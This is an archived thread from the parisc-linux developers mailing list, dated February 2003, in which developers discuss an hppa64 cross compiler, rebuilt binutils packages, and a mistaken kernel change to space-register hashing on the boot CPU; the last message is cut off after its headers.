Subject: [parisc-linux] gcc-3.2.3-based hppa->hppa64 crosscompiler uploaded
Date: Sat, 8 Feb 2003 21:43:04 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20030209054304.GN8919@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622200 21580 80.91.229.3 (22 Nov 2014 02:10:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 23:23:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9190D4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 23:23:14 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B1064CD294; Sat,  8 Feb 2003 21:43:04 -0800 (PST)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17668

I just uploaded a gcc-3.2.3 (cvs) based hppa->hppa64 cross compiler to 
ftp://ftp.parisc-linux.org/unofficial-debs/gcc-hppa64_3.2.3-0.1_hppa.deb

Unfortunately gcc-3.2.3 is not able to build itself, so this is actually
built via gcc-3.3 :-)

This package also contains a recent binutils including Grant/Dave's
ordered store patch.

As a test, I've built and am running:

Linux version 2.4.20-pa24 (tausq@ios) (gcc version 3.2.3 20030208 (prerelease)) #27 SMP Sat Feb 8 21:48:37 PST 2003

on an A500.

As a reminder: 64-bit compilers are only meant for building kernels, we
do not yet have 64-bit userspace support.

Enjoy :)
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] re: [parisc-linux-cvs] linux grundler
Date: Sun, 9 Feb 2003 00:40:14 -0700 (MST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200302090740.AAA17008@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622201 21582 80.91.229.3 (22 Nov 2014 02:10:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:01 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  9 00:41:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDF704838
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Feb 2003 00:41:32 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP id 273981C01B82
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Feb 2003 02:41:32 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_25184)/8.9.3 SMKit7.01) id AAA17008;
	Sun, 9 Feb 2003 00:40:14 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17669

> o moved disable_sr_hash() from SMP to common code path so all
> CPU's (including monarch) have this disabled.

Huh? You didn't seriously think the monarch still had sr hashing enabled
did you? Believe me, shared memory wouldn't work at all if that was the
case.

This change is wrong. init_per_cpu() is called too early for the monarch.
disable_sr_hashing relies on the boot cpu data to be initialized to
determine which code should be used to disable the sr hashing.  It might
work for PA2.0, since it is the default case, but you probably broke all
of the other processors.

disable_sr_hashing() is called for the monarch in mm/init.c in
setup_bootmem().

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sun, 9 Feb 2003 01:11:21 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20030209081121.GA31855@dsl2.external.hp.com>
References: <20030208222242.AA3554829@dsl2.external.hp.com> <20030208222746.GB19683@dsl2.external.hp.com> <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622201 21585 80.91.229.3 (22 Nov 2014 02:10:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  9 01:11:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 36CA54829; Sun,  9 Feb 2003 01:11:21 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17670

On Sat, Feb 08, 2003 at 11:23:03PM +0000, Matthew Wilcox wrote:
> Is all that's needed to take the latest binutils from debian unstable
> and rebuild it on woody?

I've rebuilt "unstable" binutils + ldwa,o patch on "testing" and dropped
them on
	ftp://ftp.parisc-linux.org/unofficial-debs/

-rw-r--r--    1 grundler ftpadmin   478700 Feb  8 23:51 binutils-dev_2.13.90.0.16-1_hppa.deb
-rw-r--r--    1 grundler ftpadmin  3311272 Feb  8 23:53 binutils-multiarch_2.13.90.0.16-1_hppa.deb
-rw-r--r--    1 grundler ftpadmin  2307548 Feb  8 23:54 binutils_2.13.90.0.16-1_hppa.deb

They install fine on my c3k though TBH, I haven't tried to use them.
(I did use the tarballs before posting earlier).
If someone wants to repeat that exercise for woody, that would be
fine with me.

/me checks off an item from his TODO list

Apperently, we still have problems with timers or timer code on PA20 SMP.
Still haven't been able to isolate this to any peice of code. :^(

g'night,
grant


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sun, 9 Feb 2003 01:26:45 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20030209082645.GB31855@dsl2.external.hp.com>
References: <200302090740.AAA17008@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622202 21632 80.91.229.3 (22 Nov 2014 02:10:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  9 01:26:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 4B0F04829; Sun,  9 Feb 2003 01:26:45 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200302090740.AAA17008@udlkern.fc.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17671

On Sun, Feb 09, 2003 at 12:40:14AM -0700, John Marvin wrote:
> > o moved disable_sr_hash() from SMP to common code path so all
> > CPU's (including monarch) have this disabled.
> 
> Huh? You didn't seriously think the monarch still had sr hashing enabled
> did you?

sorry - I did.
I could not find where it was getting cleared for the monarch.

> Believe me, shared memory wouldn't work at all if that was the case.

ok.

> This change is wrong. init_per_cpu() is called too early for the monarch.

yup - it's before collect_boot_cpu_data(). :^(

> disable_sr_hashing() is called for the monarch in mm/init.c in
> setup_bootmem().

ugh. my bad.
I was only looking in arch/parisc/kernel/ since that's where it's defined
and was being used in the SMP case.

Can I move the disable_sr_hashing() call from setup_bootmem() to
before/after cache_init() in setup_arch()?

Please feel free to correct if you have time to muck with it.
If my damage is not backed out in the morning, I'll back it out then.

thanks for pointing out this stupidity,
grant


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] re: [parisc-linux-cvs] linux grundler
Date: Sun, 9 Feb 2003 01:55:28 -0700 (MST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200302090855.BAA17861@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622202 21637 80.91.229.3 (22 Nov 2014 02:10:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:02 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  9 01:56:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62CE5483C
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Feb 2003 01:56:45 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP id 0ED971C00058
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Feb 2003 03:56:45 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_25184)/8.9.3 SMKit7.01) id BAA17861;
	Sun, 9 Feb 2003 01:55:28 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17672

> Can I move the disable_sr_hashing() call from setup_bootmem() to
> before/after cache_init() in setup_arch()?

Sure. As long as you call it before paging_init() you will be OK.

> Please feel free to correct if you have time to muck with it.
> If my damage is not backed out in the morning, I'll back it out then.

I don't have a current tree and I need to go to bed.

John


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sun, 9 Feb 2003 12:21:57 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20030209122157.F27544@parcelfarce.linux.theplanet.co.uk>
References: <20030208222242.AA3554829@dsl2.external.hp.com> <20030208222746.GB19683@dsl2.external.hp.com> <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk> <20030209081121.GA31855@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622202 21641 80.91.229.3 (22 Nov 2014 02:10:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:02 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  9 05:22:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDA0C482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Feb 2003 05:22:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18hqT7-0001yQ-00; Sun, 09 Feb 2003 12:21:57 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030209081121.GA31855@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Sun, Feb 09, 2003 at 01:11:21AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17673

On Sun, Feb 09, 2003 at 01:11:21AM -0700, Grant Grundler wrote:
> I've rebuilt "unstable" binutils + ldwa,o patch on "testing" and dropped
> them on
> 	ftp://ftp.parisc-linux.org/unofficial-debs/
> 
> -rw-r--r--    1 grundler ftpadmin   478700 Feb  8 23:51 binutils-dev_2.13.90.0.16-1_hppa.deb
> -rw-r--r--    1 grundler ftpadmin  3311272 Feb  8 23:53 binutils-multiarch_2.13.90.0.16-1_hppa.deb
> -rw-r--r--    1 grundler ftpadmin  2307548 Feb  8 23:54 binutils_2.13.90.0.16-1_hppa.deb

I've removed these.  Few problems:

 - Same version number as the unstable package, so an upgrade wouldn't
   replace them
 - Not listed in the Packages file.
 - debian/changelog not updated

I'm doing a fresh build now.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sun, 9 Feb 2003 12:29:13 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <20030209122913.G27544@parcelfarce.linux.theplanet.co.uk>
References: <20030208222242.AA3554829@dsl2.external.hp.com> <20030208222746.GB19683@dsl2.external.hp.com> <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk> <20030209031014.GD19683@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622203 21646 80.91.229.3 (22 Nov 2014 02:10:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:03 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  9 05:29:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4B63482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Feb 2003 05:29:14 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18hqaA-00021I-00; Sun, 09 Feb 2003 12:29:14 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030209031014.GD19683@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Sat, Feb 08, 2003 at 08:10:14PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17674

On Sat, Feb 08, 2003 at 08:10:14PM -0700, Grant Grundler wrote:
> Just drop that in debian/patches before building the debs.
> That patch applies clean to the binutils for unstable.
> I don't even pretend to understand how to properly build
> debian packages, much less binutils or "cross release" builds.
> That's why I made the tarball for "testing".

OK.  It's not really hard, but I don't mind doing it.  It's not like
this is a regular occurrence.  It's building now; when I've finished
I'll upload it to unofficial-debs and people will be able to apt-get
install it from there.

> I don't care to find out the hard way.
> I'd rather just comply with the architecture and not worry about it.
> If someone can demonstrate a perf advantage or issue, I'll be
> more receptive.

Sure.  When someone's trying to implement futexes, this may prove critical..

> > One final point.... up till now, we've been telling people it's OK to
> > run kernels configured for PA1.1 on PA2.0 processors.  This patch says
> > to me that's not safe.
> 
> Only for SMP. I think for UP the rule still holds.

Agree.  That was implicit in the kernel list i gave later, but I should've
stated it explicitly.

> Unfortunately yes.
> 
> OTOH, PA20 SMP still hasn't proven stable so maybe it's not worth
> doing at the moment either.  Once PA20 SMP is stable, we could drop
> the 64-bit UP kernels since most systems that *require* 64-bit are SMP.

Sure, but there's a measurable performance difference if you compile out
spinlocks

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sun, 9 Feb 2003 14:35:38 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20030209143538.I27544@parcelfarce.linux.theplanet.co.uk>
References: <20030208222242.AA3554829@dsl2.external.hp.com> <20030208222746.GB19683@dsl2.external.hp.com> <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk> <20030209031014.GD19683@dsl2.external.hp.com> <20030209122913.G27544@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622203 21651 80.91.229.3 (22 Nov 2014 02:10:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:03 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  9 07:35:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF319482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Feb 2003 07:35:39 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18hsYU-0003KU-00; Sun, 09 Feb 2003 14:35:38 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030209122913.G27544@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Sun, Feb 09, 2003 at 12:29:13PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17675

On Sun, Feb 09, 2003 at 12:29:13PM +0000, Matthew Wilcox wrote:
> OK.  It's not really hard, but I don't mind doing it.  It's not like
> this is a regular occurrence.  It's building now; when I've finished
> I'll upload it to unofficial-debs and people will be able to apt-get
> install it from there.

done.  http://ftp.parisc-linux.org/unofficial-debs/README
untested as i don't have root on any machine that's convenient.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: 09 Feb 2003 08:55:33 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <1044802535.1741.30.camel@mulgrave>
References: <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk>
	<200302090035.h190ZJYC012838@hiauly1.hia.nrc.ca>
	<20030209004942.GQ11363@tausq.org> <20030209005608.GR11363@tausq.org> 
	<20030209020325.D27544@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622203 21656 80.91.229.3 (22 Nov 2014 02:10:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:03 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	grundler@dsl2.external.hp.com, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  9 07:55:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F54E482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Feb 2003 07:55:43 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id GAA21205
	for <parisc-linux@lists.parisc-linux.org>; Sun, 9 Feb 2003 06:55:42 -0800
Original-Received: from mulgrave-w.il.steeleye.com (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id GAA20744;
	Sun, 9 Feb 2003 06:55:34 -0800
In-Reply-To: <20030209020325.D27544@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
